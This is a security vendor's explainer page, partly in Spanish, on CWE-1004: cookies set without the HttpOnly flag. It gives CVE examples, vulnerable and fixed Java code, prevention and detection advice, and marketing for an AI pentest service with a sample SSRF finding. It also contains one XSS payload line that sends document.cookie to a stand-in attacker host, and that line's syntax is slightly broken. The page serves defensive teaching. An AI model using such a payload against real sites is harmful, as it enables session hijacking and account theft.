CWE-1004 Variante Incompleto Medium likelihood

Sensitive Cookie Without 'HttpOnly' Flag

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

Definición

What is CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.
The 'HttpOnly' flag is a critical security directive sent within the `Set-Cookie` HTTP header. When present, it instructs compatible web browsers to block all client-side scripts (like JavaScript) from reading the cookie's contents. This creates a vital defensive layer, specifically designed to contain the damage from a Cross-Site Scripting (XSS) attack by preventing malicious scripts from stealing cookie data. Without this flag, any sensitive information stored in the cookie—such as session tokens or authentication details—becomes exposed. If an XSS flaw exists elsewhere in the application, an attacker can execute script to read the cookie and exfiltrate its data, potentially leading to session hijacking or account compromise. Setting the 'HttpOnly' flag is a fundamental and widely supported practice to protect user sessions even when other vulnerabilities are present.
Impacto en el mundo real

Real-world CVEs caused by CWE-1004

  • Web application for a room automation system has client-side Javascript that sets a sensitive cookie without the HTTPOnly security attribute, allowing the cookie to be accessed.

  • CMS written in Python does not include the HTTPOnly flag in a Set-Cookie header, allowing remote attackers to obtain potentially sensitive information via script access to this cookie.

  • Appliance for managing encrypted communications does not use HttpOnly flag.

Cómo lo explotan los atacantes

Ruta del atacante paso a paso

  1. 1

    In this example, a cookie is used to store a session ID for a client's interaction with a website. The intention is that the cookie will be sent to the website with each request made by the client.

  2. 2

    The snippet of code below establishes a new cookie to hold the sessionID.

  3. 3

    The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

  4. 4

    When the client loads and executes this script, it makes a request to the attacker-controlled web site. The attacker can then log the request and steal the cookie.

  5. 5

    To mitigate the risk, use the setHttpOnly(true) method.

Ejemplo de código vulnerable

Vulnerable Java

The snippet of code below establishes a new cookie to hold the sessionID.

Vulnerable Java
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  response.addCookie(c);
Payload del atacante

The HttpOnly flag is not set for the cookie. An attacker who can perform XSS could insert malicious script such as:

Payload del atacante JavaScript
document.write('<img src="http://attacker.example.com/collect-cookies?cookie=' + document.cookie . '">'
Ejemplo de código seguro

Secure Java

To mitigate the risk, use the setHttpOnly(true) method.

Seguro Java
String sessionID = generateSessionId();
  Cookie c = new Cookie("session_id", sessionID);
  c.setHttpOnly(true);
  response.addCookie(c);
What changed: the unsafe sink is replaced (or the input is validated/escaped) so the same payload no longer triggers the weakness.
Lista de prevención

How to prevent CWE-1004

  • Implementation Leverage the HttpOnly flag when setting a sensitive cookie in a response.
Señales de detección

How to detect CWE-1004

Automated Static Analysis High

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

CWE-1004

Don't catalog this weakness. Prove it's reachable.

Plexicus turns CWE catalogs into evidence: every CWE-pattern is matched against your real code graph, reach is proven on a sandbox clone, and verified findings ship as reviewed PRs.

Preguntas frecuentes

Frequently asked questions

¿Qué es CWE-1004?

This vulnerability occurs when an application stores sensitive data in a cookie but fails to set the 'HttpOnly' flag, leaving the cookie accessible to client-side scripts.

¿Qué gravedad tiene CWE-1004?

MITRE califica la probabilidad de explotación como Media — la explotación es realista pero suele requerir condiciones específicas.

¿Qué lenguajes o plataformas se ven afectados por CWE-1004?

MITRE lists the following affected platforms: Web Based.

¿Cómo puedo prevenir CWE-1004?

Leverage the HttpOnly flag when setting a sensitive cookie in a response.

¿Cómo detecta y corrige Plexicus CWE-1004?

El motor SAST de Plexicus detecta la firma de flujo de datos para CWE-1004 en cada commit. Cuando hay coincidencia, nuestro agente Codex Remedium abre un PR de corrección con el código corregido, las pruebas y un resumen de una línea para el revisor.

¿Dónde puedo aprender más sobre CWE-1004?

MITRE publica la definición canónica en https://cwe.mitre.org/data/definitions/1004.html. También puedes consultar la documentación de OWASP y NIST para guías relacionadas.

¿Listo para validar lo que importa?

Listo para validar lo que importa.

Plexicus es Proof-Driven AppSec: hallazgos validados, comprensión contextual y remediación revisada — anclada en evidencia, acotada contigo.

Calificación

Comprueba si el AI Swarm Pentest encaja en tu entorno.

Déjanos el contexto mínimo. Revisaremos el alcance y te indicaremos el siguiente paso comercial.

Antes de enviar — verifica que encajas

0 / 280

Sin compromiso. Si no encajas, te lo decimos.

SAMPLE HANDOVER · ILLUSTRATIVE

Sample evidence handover

A trimmed view of what your team receives at the end of an AI Swarm Pentest engagement. Real engagements include full technical evidence, executive narrative, and a remediation plan.

VALIDATED FINDING Evidence attached

Server-Side Request Forgery in webhooks/receiver

demo-project/sample-app · src/webhooks/receiver.py:42

SeverityHigh CVSS 3.18.6 Priority79 Confirmedvia replay

Untrusted caller-supplied URLs reach an internal egress without an allowlist. Replayed in a sandbox against a fresh authorized target — the same control was validated to fail twice.

REVIEWER-READY REMEDIATION Merge-ready PR

Validate the target URL against an allowlist of permitted hostnames. Reject private/internal IP ranges. Enforce HTTPS only.

plexicus/remediation/webhooks-ssrf 3 changed · 0 new files
42resp = requests.get(target_url)
42+if not is_allowed_host(target_url):
43+  raise WebhookRejected(target_url)
44+resp = requests.get(target_url, timeout=5)
Every engagement hands over:
  • Executive briefing
  • Validated findings list
  • Merge-ready PRs
  • Compliance mapping (NIS2 · DORA · CRA)
Ronda privada Para inversores